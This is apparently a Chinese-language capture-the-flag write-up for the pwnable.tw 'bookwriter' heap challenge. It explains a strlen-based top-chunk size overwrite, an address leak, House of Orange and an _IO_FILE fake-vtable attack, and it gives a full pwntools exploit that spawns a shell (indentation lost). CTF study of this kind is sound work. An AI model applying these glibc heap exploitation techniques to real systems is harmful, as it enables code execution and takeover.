[_IO_FILE]pwnable.tw-bookwriter

二进制是一个不断学习的过程,以下记录我在pwnable.tw网站刷题的一些心得


写在开头

距离上次更新已经过去很久,中间有一段时间没有搞pwn反而去看了机器学习,做了一段时间才发现其实自己并没有那么感兴趣,还是继续二进制。

题目分析

首次拿到题目,发现就是一个堆题,再仔细看看发现没有free功能,一下就想到了House of orange。
首先看一下编译Challenge的GCC版本。

000
由此得知应该是glibc2.23(通过one_gadget与已知glibc比对确定是glibc2.23)
001
查看保护措施以及文件架构,64位,NO PIE(真贴心啊,runpath改变是因为方便本地调试,已经经过patch过了)。
002
003
004
005
006
基本功能如上图所示。

漏洞分析

  • 首先进入时会读取Author,最大0x40大小,而Author在bss中为0x602060,page_bss为0x6020A0。且info函数中输出使用printf(遇到\0截断),所以当0x40大小全部填满的时候printf会把紧跟在后的page_bss[0]中的内容也打印出来。
  • edit函数会重新计算size大小,当把申请的chunk填满(下一chunk的前0x8也填满)时,由于strlen遇到\0截断,会造成size = size + 3。由于多的3位导致我们可以修改相邻的TOP_CHUNK的size域。
  • Add函数中能够创建9个块,第九个块覆盖到size_bss[0],导致page_bss[0]中可以写入非常大size的数据。

由于没有free,所以我们要使用IO_FILE相关攻击

TOP_CHUNK进入unsortedbin的条件

  • size>=MINSIZE
  • pre_inuse
  • top地址+size-1 是页对齐的(以000结尾)

IO流

文件结构体_IO_FILE_plus,包括了所有IO流结构。

extern struct _IO_FILE_plus *_IO_list_all;


struct _IO_FILE_plus
{
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

利用整体思路

  1. 首先修改top块的size,然后申请一个较大的块(小于mmap申请的阈值,大于当前top块),当修改的size满足一定条件时,原来的top块会被释放到unsorted bin。
  2. 覆写top块,将其bk指针覆写成_IO_list_all-0x10的地址。

while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            [...]
            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);
            if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (victim->size > av->system_mem, 0))
  malloc_printerr (check_action, "malloc(): memory corruption",
                   chunk2mem (victim), av);
            }
// bck = _IO_list_all-0x10的地址,unsorted_chunks(av) = main_anera + 0x58,main_arena+ 0x58 的地址赋值给 _IO_list_all-0x10 的fd,即_IO_list_all。

  1. 继续申请chunk,造成unsorted bin attack,由于unsorted bin结构的破坏,调用malloc_printerr -> __libc_message -> abort() -> _IO_flush_all_lockp() -> _IO_OVERFLOW(),此时_IO_OVERFLOW已经被虚假的vtable中的system代替,由此getshell。

something usable

007
008
009
010

完整Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
# -*-coding:utf-8-*-
from pwn import *
import pwnlib
debug = 1
eld = ELF('./bookwriter')
if debug:
p = process('./bookwriter')
libc = ELF("/home/griffin/Software/glibc-all-in-one/libs/2.23-0ubuntu10_amd64/libc.so.6")
else:
pass

# gdb.attach(p)
def add(num,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(num))
p.recvuntil('Content :')
p.send(content)
def view(num):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index of page :')
p.sendline(str(num))
def edit(num,content):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index of page :')
p.sendline(str(num))
p.recvuntil('Content:')
p.send(content)
def info(num,content):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('(yes:1 / no:0) ')
p.sendline(str(num))
if(num):
p.recvuntil('Author :')
p.sendline(content)
else:
pass

p.recvuntil('Author :')
p.sendline('a' * 0x40)
add(0x18,'b' * 0x18)
edit(0,'a'*0x18)
edit(0,'\0'*0x18+'\xe1'+'\x0f'+'\0')
# ----
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('a'*0x40)
heap_addr = u64(p.recvline()[0:-1].ljust(8,'\0'))
p.recvuntil('(yes:1 / no:0) ')
p.sendline('0')
print "heap_addr -> " + hex(heap_addr)
# ----
for i in range(8):
add(0x50,'A'*0x8)
view(3)
p.recvuntil("AAAAAAAA")
libc_addr = u64(p.recvline()[0:-1].ljust(8,'\0'))
libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
print "libc_base -> "+hex(libc.address)
raw_input("libc_base leaked")
data = '\0'*0x310
payload = '/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)
payload = payload.ljust(0xc0,'\x00')
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0xd8,'\x00')
vtable = heap_addr + 0x310 + 0xd8 + 0x8
payload += p64(vtable)
payload +=p64(0)+p64(0)+p64(1)+p64(libc.symbols['system'])
edit(0,data + payload)
raw_input("EDIT DONE")
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()

疑问

  1. Q:unsortedbin的大小为什么填写为0x61?
    A:由于chain在结构体的偏移为0x68,当unsortedbin进入对于bin时,smallbin[4]内变成该unsortedbin的地址。
  1. Q:Exploit中在Add TOP_CHUNK to unsortedbin时没有malloc一个大块?
    A:scanf内部实现时malloc了一个0x1000的块,所以自己可以省略这一步。

参考链接

https://www.anquanke.com/post/id/168802
https://bbs.pediy.com/thread-223334.htm